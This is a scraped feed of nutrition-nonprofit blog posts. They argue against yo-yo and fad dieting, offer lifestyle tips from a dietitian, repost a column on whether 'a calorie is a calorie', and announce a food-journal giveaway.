With bathing suit season just around the corner, it is becoming more and more tempting to avoid the warnings and turn to quick weight loss, yo-yo dieting as a last ditch attempt to lose the extra weight before summer.

The problem is yo-yo,  fad diets that promise quick results can create short-term weight loss, followed by long-term weight gain.  In other words, you could be trading a few slimmer days for months or years of added weight.  So, before you choose a fad diet to “quickly” take off  those pesky pounds, ask yourself  one question. Is the goal to lose  weight and get reacquainted with a healthier, slimmer you, or do you really want to “fake it” for a day or two?  If the ultimate goal is to lose weight,  please don’t do something that can cause you to gain more than you bargained for.

Say NO to the Yo-Yo!

Instead of dieting, starting living a healthier lifestyle.  Choose living over dieting.  Living a healthy lifestyle is the best way to get long-term results that’ll stick!  We’re here to help if you need a little guidance or a step-by-step action plan.  Just click here to sign up for a free nutrition appointment. Seriously, it’s free, complements of our donors and supporters!

We aren’t the only ones that think you should ditch the yo-yo!  Click here for a few other articles that voice their opinion about riding the yo-yo.

 

]]> https://skinnygeneprojectnew.dreamsites.io/just-say-no-to-yo-yo-dieting/feed/ 0 How Fad Diets Get it Right https://skinnygeneprojectnew.dreamsites.io/how-fad-diets-get-it-right/ https://skinnygeneprojectnew.dreamsites.io/how-fad-diets-get-it-right/#respond Wed, 18 Apr 2012 05:25:59 +0000 http://skinnygeneproject.dreamhosters.com/?p=1512

 By Emily Barr, MS,RD,CNSC –

Life is too short to waste time and money on fad dieting!

The truth hurts.  The honest truth is, as a whole, we (Americans) have weight to lose, and losing weight is time intensive, hard work.  That’s where the fad diets come sweeping to our rescue, like a knight in shining armor, giving us hope to drop 7-11 pounds in one  week!

They proceed to sweet talk us with some trendy words to convince us that we need to detox our body, or melt our belly fat, to help us drop those stubborn pounds.  Then they give us hope, telling us why this is the solution that is going to be the one diet that works for us.

It sounds like a sneaky business ploy, but let’s face it…we seem to fall for it every time!

Fad diets get a bunch of things majorly wrong!

They promising rapid weight loss over the course of a few days or weeks.  It is a well known fact that rapid weight loss of this kind is not true weight loss, but actually more of the dehydrating kind.  We also know that rapid weight loss is not sustainable; the weight is often regained as quickly as it is lost.

Another blunder of fad diets is the elimination of entire food groups.  Again, it is also well known that different types of foods provide us with a variety of key nutrients that our body needs to keep our metabolism functioning properly.   A third common problem with fad diets is that they are often so strict that we are unable to follow them for more than a few days or weeks.

Fad diets are often so strict that we are unable to follow them for more than a few days or weeks.

The consensus among the experts on how to achieve successful weight loss is to make lifestyle modifications that you can follow for the long term.

Surprisingly, fad diets occasionally get a few things right!

We can use a few of the fad diet strategies to set our lifestyle modification into action.

 

1.) COMMITMENT

Fad diets require extreme, dramatic changes to your usual food routine.  By signing up to do each of these regimens, you are affirming your commitment to change.  The idea of rapid weight loss is motivating and may push you to do things you had never done before, like go an entire day eating only chicken and vegetables.  At the end of the day, you realize that when you put your mind to something, you can accomplish things you never thought possible.

Action Plan:  Assert your commitment to success by writing down your specific goals and motivation for weight loss.  For example, you may be motivated to lose weight in order to keep up with your busy toddler.  Now that you have your motivation, try setting an easily obtainable, specific goal that you can expand upon.  Maybe you start off with the goal to avoid snacking on your child’s leftovers when cleaning their plate. Then once you’ve accomplished that goal, you expand it to stop mindless snacking throughout the day when bored, working, or doing household chores.

2.) PREPARATION

  Fad diets usually give you a list of “allowable” foods, and then you proceed to the grocery store to stock up on these items.  Why can’t we do the same thing when not following a fad diet?

Action Plan:  Set some goals for the week, and then outline how you are going to achieve them.  For example if your goal is to boost your metabolism by eating breakfast every morning,  you should first plan out what your healthiest breakfast options are, then place them on your shopping  list. Finally, try scheduling breakfast time into the day, so you have time to eat it.

3.)  FOCUSING ON FOOD CHOICES

By starting a strict fad diet regimen, the  not so healthy stuff you are eating goes straight out the window and is quickly replaced by x, y, z, which is specifically designed by the fad diet to reduce your calorie intake (usually so many servings of fruits and vegetables,  go figure).

Eliminating our favorite cravings, cold turkey, can often times backfire on us, ending in a splurge, and then guilt.  Another approach would be to focus on your fruits and vegetables, and by default, you replace your not so healthy stuff with nutritious stuff! Doing this gives you opportunity (calorie wise) to indulge in the occasional splurge.  Plan your splurges carefully (i.e. once a week or once a month), that way you don’t completely abandon your healthy lifestyle.

Action Plan:  Make a list of all of your favorite fruits and vegetables, and then stock up!  But don’t stock up on foods that tempt you.  Focus on filling your home with healthy foods. In other words, make your home your “safety zone”.  Save those willpower smashing foods for special outings where the serving size is controlled and there aren’t any leftovers (e.g. going out for a scoop of ice cream vs. buying ice cream for the house)!

4.) SET MEALS AND SNACKS

  Fad diets would prefer you to eat smaller portions frequently throughout the day.  Well, they may not get the food choices correct, but the grazing type meals and snacks are right on the money.

Action Plan:  Make a daily meal plan including 3 meals and 1-2 snacks to ensure you eat every 3 hours during the daytime hours.  If you don’t plan ahead, you may find that you have gone hours without eating, which slows down your metabolism!

5.) WATER

Fad diets usually will emphasize water, requiring you to drink a certain amount of water every day.  Again, genius!  Most of us do not drink nearly enough water; therefore increasing our water intake will allow us to enjoy a sense of fullness, thereby reducing our calorie intake.

Action Plan:  Set your daily water goal and stick to it!  One suggestion is to divide your water up into 3 portions – drink 1/3 before noon, 1/3 before 4 PM, and the remainder before 8 PM.  Whether you prefer to count ounces or actual glasses of water, just make sure you drink enough water each day to stay hydrated. Drink. Refill. Repeat.

Considering trying a fad diet to achieve weight loss? We urge you to reconsider it! Fad diets may begin with initial weight loss, but they generally end with added weight gain and frustration. Whether you are interested in weight loss to improve your health or self esteem, please know that learning how to live a healthy lifestyle is the best way.

Need a little guidance? We are here to help!  We offer FREE nutrition advice and guidance. Please click here to learn more!

]]> https://skinnygeneprojectnew.dreamsites.io/how-fad-diets-get-it-right/feed/ 0 Is a Calorie a Calorie? https://skinnygeneprojectnew.dreamsites.io/is-a-calorie-a-calorie/ https://skinnygeneprojectnew.dreamsites.io/is-a-calorie-a-calorie/#respond Thu, 22 Mar 2012 18:29:32 +0000 http://skinnygeneproject.dreamhosters.com/?p=1478

Calories in versus calories out is important, but not the essential key to weight loss and weight maintenance.

This is a great blog (below) to argue the point that 1600 calories from twinkies does not treat your metabolism the same as 1600 calories from a properly balanced diet full of the right carbohydrates, a combination of high biological value proteins and complete vegetarian proteins, and the right mix of fats including the optimal ratio of omega 6 to omega 3 fats.

–Emily Barr, MS,RD,CNSC

 

Is a Calorie a Calorie?

By MARK BITTMAN

I was looking forward to “Why Calories Count,” the new book by Marion Nestle and Malden Nesheim. I figured gaining an advanced education in calories might allow me to better understand diet and weight gain. These two are not faddists but clear thinkers: actual scientists. But of course there is more to weight gain than the calorie. 

This was obvious from the moment I asked Ms. Nestle a key question: “Is a calorie a calorie?” This sounds simple, and if the answer is “yes,” all you do is take in fewer calories than you expend and you’ll lose weight. It need go no further than that.

It might help to first define a calorie, and that’s easy: it’s a measure of the energy derived from a food source. A gram of fat has been determined to have nine calories and a gram of protein or carbohydrate four calories; so for any given measure, fat has more than twice as many calories as protein or carbs. Those numbers are not perfectly accurate, but they’re good enough.

A food isn’t a food — they’re all different — but since a calorie is just a measurement of energy, how can it vary? When I asked my question, Nestle’s answer was confounding: “Yes and no,” she said, adding, “It’s Talmudic.” Because calories change as they enter the body, the nine grams for fat and four for everything else turn out to be not very accurate measures at all; besides, foods are only rarely one thing or another.

Here’s what is true, she said: “The studies that have measured calorie intake, that have put people on calorie-reduced diets and measured what happened, show no difference in weight loss based on composition of the diet.” When people are essentially incarcerated, when all intake is weighed and measured, they will lose weight if the calories in their diets are reduced — regardless of the composition of the diet.

“That’s why we hear a calorie is a calorie,” she said. “But no one lives under experimental conditions, and foods are complicated mixtures: fiber makes a difference and form makes a difference.” (Fiber is special because it’s not digested or digested incompletely. Most of its calories don’t get into the body, which is one reason why fruits and vegetables, which are high in fiber, help with weight loss.)

The “calorie is a calorie” argument is widely used by the processed food industry to explain that weight loss isn’t really about what you eat but about how many calories you eat. But if it were just about calories, you could eat only sugar and be fine. In fact, you’d die: sugar lacks essential nutrients.

That’s an obvious case. But although a calorie may be a calorie when people talk about weight loss and nothing else, there are other factors involved. And once you get past my perhaps lame “Is a calorie a calorie” question, you can begin to see something approaching the truth. For one thing, says Nestle: “There are dozens of factors involved in weight regulation. It’s hard to lose weight, because the body is set up to defend fat, so you don’t starve to death; the body doesn’t work as well to tell people to stop eating as when to tell them when to start.”

An important question, then, is really something like, “What can I eat to keep from putting on weight?” and here the answer turns out to be not only easy but also expected. “If you’re eating a lot of fruits and vegetables,” Nestle says, “you’re not taking in as many calories as you would if you were eating fast food and sodas.” Yes, that’s a calorie issue; the latter group is way higher in calories than the former. But though there’s a difference between eat less and eating better, “eating better makes it much easier to eat less.”

Ultimately, the calorie is political: marketing affects instinct, and Nestle and Nesheim really shine in their analysis in this realm. (Their slogan: “Get organized. Eat less. Eat better. Move more. Get political.”) When I asked Nestle what she would do, given that people in the United States were obviously eating too many calories and that the resulting excess weight was costing all of us life years and money, she answered quickly: “We need a farm bill that’s designed from top to bottom to support healthier diets, one that supports growing fruits and vegetables and making them cheaper. We need to fix school lunches so they’re based on fresh foods, and fix food assistance programs so people have greater access to healthier foods.”

Her list goes on: fix the food-safety system; make it possible for people to get into farming; fix front-of-packaging labeling.

And a couple of big ones: “Stop marketing food to kids. Period. Just make it go away.” And get rid of health claims on food packages too. “Unless,” she says, reverting to her pure science role, “they’re backed up by universally accepted science. Which would get rid of all of them.”

Even if a calorie is a calorie, the situation is not so simple.

……

Have questions about calories or other information included in this post? Please click here to email us, or sign up for  a free nutrition appointment (via phone).

 

]]> https://skinnygeneprojectnew.dreamsites.io/is-a-calorie-a-calorie/feed/ 0 Giveaway – Win a Free Food Journal https://skinnygeneprojectnew.dreamsites.io/win-free-food-journal-giveaway/ https://skinnygeneprojectnew.dreamsites.io/win-free-food-journal-giveaway/#respond Mon, 23 Jan 2012 02:47:26 +0000 http://skinnygeneproject.dreamhosters.com/?p=1394 Giveaway to begin 1/24

3 PRIZES, 5 CHANCES TO WIN A FREE FOOD JOURNAL

I have to admit….it’s only the third week in January and I already find myself backsliding. Thankfully, I have inspirational reasons for keeping my new year’s goals and so I am sticking to them.  How about you?  Have you kept all of yours?

Three of the top ten most popular New Year’s Resolutions are to lose weight, eat healthy and get fit. These are amazing goals to have and we want to help you achieve them.  We have paired up with Around the Plate to offer you some fantastic prizes (for FREE!) to help you stay on track.  

Research shows that the number one way to lose weight is through journaling. Many programs, including ours, encourage or require journaling because it is SO effective. Around the Plate has the most adorable journals to make it more fun!  

We’re giving away three items to three different winners, two ultimate tracker journals and  1 kids tracker journal, and all you have to do is enter the giveaway for your chance to win.

 

Giveaway Food Journal
This food journal is not only super cute, it will also help you to achieve your goals!

 

Required for contest entry:

1. Follow Skinny Gene Healthy Mommas on facebook and leave a comment on this post about what motivates you and why you ARE going to keep those resolutions!

Optional for extra entries (leave a comment on this post letting us know you did it!):

2. Check out aroundtheplate on Etsy and tell us which journal is your favorite (leave an additional comment below letting us know you did it!)

3. Like aroundtheplate on Facebook (leave an additional comment below letting us know you did it!)

4. Follow Skinny Gene (@skinnygene)  on Twitter  (leave an additional comment below letting us know you did it!)

5. Post this giveaway on your blog, facebook and/or twitter (leave a comment below for each posting that you share)

This giveaway will end on 1/30 at 11:59 p.m.

Each entry counts as one chance to win.  US Only!  Winner will be announced January 31st. Winner will be chosen AT RANDOM by random.org.

 

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